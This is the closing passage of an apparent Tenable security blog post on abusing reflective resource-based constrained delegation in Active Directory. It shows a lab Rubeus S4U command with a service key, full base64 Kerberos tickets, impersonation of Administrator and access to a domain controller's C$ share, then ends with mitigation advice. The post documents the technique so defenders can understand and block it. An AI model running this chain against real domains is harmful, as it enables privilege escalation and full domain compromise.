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

First, we’ve done S4U2Self and S4U2Proxy. Now let’s ask for a service ticket for the domain controller. (Note: If you want to avoid a new AS-REQ request, you can pass the TestSvc TGT with the switch /ticket). The service ticket passed as argument (/tgs) is the result of the previous and final S4U2Proxy:

J:\>.\Rubeus.exe s4u /user:TestSvc /aes256:040f2dfbdc889c4139aef10cf7eb02c0ce5ab896efdb90248a1274b6decb4605 /msdsspn:HOST/DC01.ALSID.CORP /altservice:CIFS /ptt /nowrap /tgs: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

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.1.1

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: 040f2dfbdc889c4139aef10cf7eb02c0ce5ab896efdb90248a1274b6decb4605
[*] Building AS-REQ (w/ preauth) for: 'alsid.corp\TestSvc'
[*] Using domain controller: 192.168.199.2:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFBjCCBQKgAwIBBaEDAgEWooIEETCCBA1hggQJMIIEBaADAgEFoQwbCkFMU0lELkNPUlCiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCmFsc2lkLmNvcnCjggPNMIIDyaADAgESoQMCAQKiggO7BIIDt837DnlWoEJDgHImMnBae4i0GGXOd2D5OAVkipVKLWoiBN8e7FtHc4pSHXgewe7yPZ08Xj9mvNcCcW5Hn5dPkmWph6InIBXCBNKgDMm6uyr7NjdTm/ufbwVwKeccRamOVI5ZdnfVkXz3KxGV6BB1eaf0vB9WYrGL53LHPc1EYnlTJ6xdYDEN55pcGcNx1mb9DHC4WkhZRxiJk35WhCeFgVaptO4pt3yyWLCfd8U884UEgoNQq8ayFGCl3R4i98K3mtspus9/ZOLrCJgSSGbF7XTuGXnVIuKfWzAfwq5xNup6ZwarqQ4EFrVdvGi+GIihEGb8wryAP69k8mQwSXhHwZCMWN5frIbfcR5x/boTh/2P00BxwtG3ScRe9F/voPMbMAG+dq8NU0eIOwmMqffBRZboZj4VC88KalrYgpKKK5Sfek+qsxBnM6WEbkTapcti0QF6Fqu5iwff4VsFNuMCYlB5qwfKxkTgaTtZumQkdconrrYkWHKi6AzoiTY2zG2gXmlJsJZrjBCPDkYK9W8IXu0jiQHAKhCvXLuNzSPIok5PKLZDBgF2wEHixVAwxjZXxheSk20r1sYLAi6biVbnqAgl0oma4jDVCsYY9ACq7Z+whlWmtTSHe5Ig/CuLPGOTkAW0X1xO1XK3tCJYH/QeWKIcRB8PLVYgb//PUR7KTesBYRWTSoxq/sqxKXSvbU5DxbARQULNJxYCJbj3V56tWbNwhE9btHze5dhuH+cGdJXsyLApN9gFTb78Z/HzZYBzDL9JD1zN+TW4ry5Da1XY/bklrH2nkvocJSHi9tOi16uAtdV/+hkfg8bNur9Dph9IbkkBLTVEmDI9M2QBAwvbjvFPHEbOZk6Zz1KdSjUBr1mD0qsDG/nkH5yZPbJtai5uGB5r7GHw02wgL1dTdc0WcRBpvD8WQcIL8eej3UyQdw8tl1bn8VTyso4VBx0bwfB8eCufiB3IfsuClw88glalKusw8nhZCmWifjZIVzOn7kpcOtOnIoJ39Fxh0hE5Q59/0Owl9XLC7Qyt9twWdXF0ZfVzLeA9enw+J5NeamCTpl6MpC49vGxqVR/kb/iR8Ln2JzpIjNJrGk+C5Z8alKfQIKQIl0ZqOHVOugRFupFiBL7GKCKAvP+kVUgl2RUAvVVkfqfH3jtpZvW9ZHNhRmZG0yTlMlL0VX7MGh6XCnpV37GepLAgb804XcpZv5Fa/fZat0ybaIUzfXwwKb3/x09bpiUFmnCnMXugpG1jH/y7GDOW0nkPLPr9a6OB4DCB3aADAgEAooHVBIHSfYHPMIHMoIHJMIHGMIHDoCswKaADAgESoSIEIDPJZc7qs13t8oas+xAqRDIHRp1Ye1U5Rz7GT9fXt7xToQwbCkFMU0lELkNPUlCiFTAToAMCAQGhDDAKGwh0ZXN0dXNlcqMHAwUAQOEAAKURGA8yMDIyMDcwODA5MjY0M1qmERgPMjAyMjA3MDgxOTI2NDNapxEYDzIwMjIwNzE1MDkyNjQzWqgMGwpBTFNJRC5DT1JQqR8wHaADAgECoRYwFBsGa3JidGd0GwphbHNpZC5jb3Jw


[*] Action: S4U

[*] Loaded a TGS for ALSID.CORP\Administrator
[*] Impersonating user 'Administrator' to target SPN 'HOST/DC01.ALSID.CORP'
[*] Final ticket will be for the alternate service 'CIFS'
[*] Building S4U2proxy request for service: 'HOST/DC01.ALSID.CORP'
[*] Using domain controller: DC01.alsid.corp (192.168.199.2)
[*] Sending S4U2proxy request to domain controller 192.168.199.2:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'CIFS'
[*] base64(ticket.kirbi) for SPN 'CIFS/DC01.ALSID.CORP':

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
[+] Ticket successfully imported!

We can switch between services as long as they are running in the context of the same targeted service account. Here, we forged the service class CIFS. Now let’s try to access the share C$ of the DC:

J:\>klist
Current LogonId is 0:0x868064
Cached Tickets: (1)
#0>     Client: Administrator @ ALSID.CORP
Server: CIFS/DC01.ALSID.CORP @ ALSID.CORP
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 11/2/2022 17:44:09 (local)
End Time: 11/3/2022 3:44:09 (local)
Renew Time: 11/9/2022 17:44:09 (local)
Session Key Type: AES-128-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
J:\>dir \\DC01.ALSID.CORP\C$
Volume in drive \\DC01.ALSID.CORP\C$ has no label.
Volume Serial Number is 64CB-7382

Directory of \\DC01.ALSID.CORP\C$

02/07/2022 08:55 PM 620 2022-07-02_-55-52_DC01.cab
02/07/2022 09:45 PM <DIR> extract
02/08/2022 02:35 PM 18,874,368 ntds.dit
09/15/2018 09:19 AM <DIR> PerfLogs
02/28/2022 09:41 PM <DIR> Program Files
10/08/2021 07:03 PM <DIR> Program Files (x86)
07/07/2022 05:40 PM <DIR> tmp
06/22/2022 05:02 PM <DIR> tools
06/16/2022 03:33 PM <DIR> Users
12/16/2021 03:28 PM 8,744 vssown.vbs
05/12/2022 06:29 PM <DIR> Windows
3 File(s) 18,883,732 bytes
8 Dir(s) 23,103,582,208 bytes free

Conclusion

The reflective RBCD is a good technique to mimic the protocol transition. We can conclude that any kind of delegation to a privileged object is very dangerous because it puts at risk your entire forest if an attacker compromises the underlying service account. These dangerous delegations must not be allowed.

All Service Principal Names (SPNs) referencing a privileged object — such as a domain controller — must be removed from the msDS-AllowedToDelegateTo attribute. You can do this in the “Delegation” tab of the Active Directory Users and Computers management console. This same precaution applies to privileged objects authorizing authentication delegation thanks to Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity).


How to mimic Kerberos protocol transition using reflective RBCD was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

❌
❌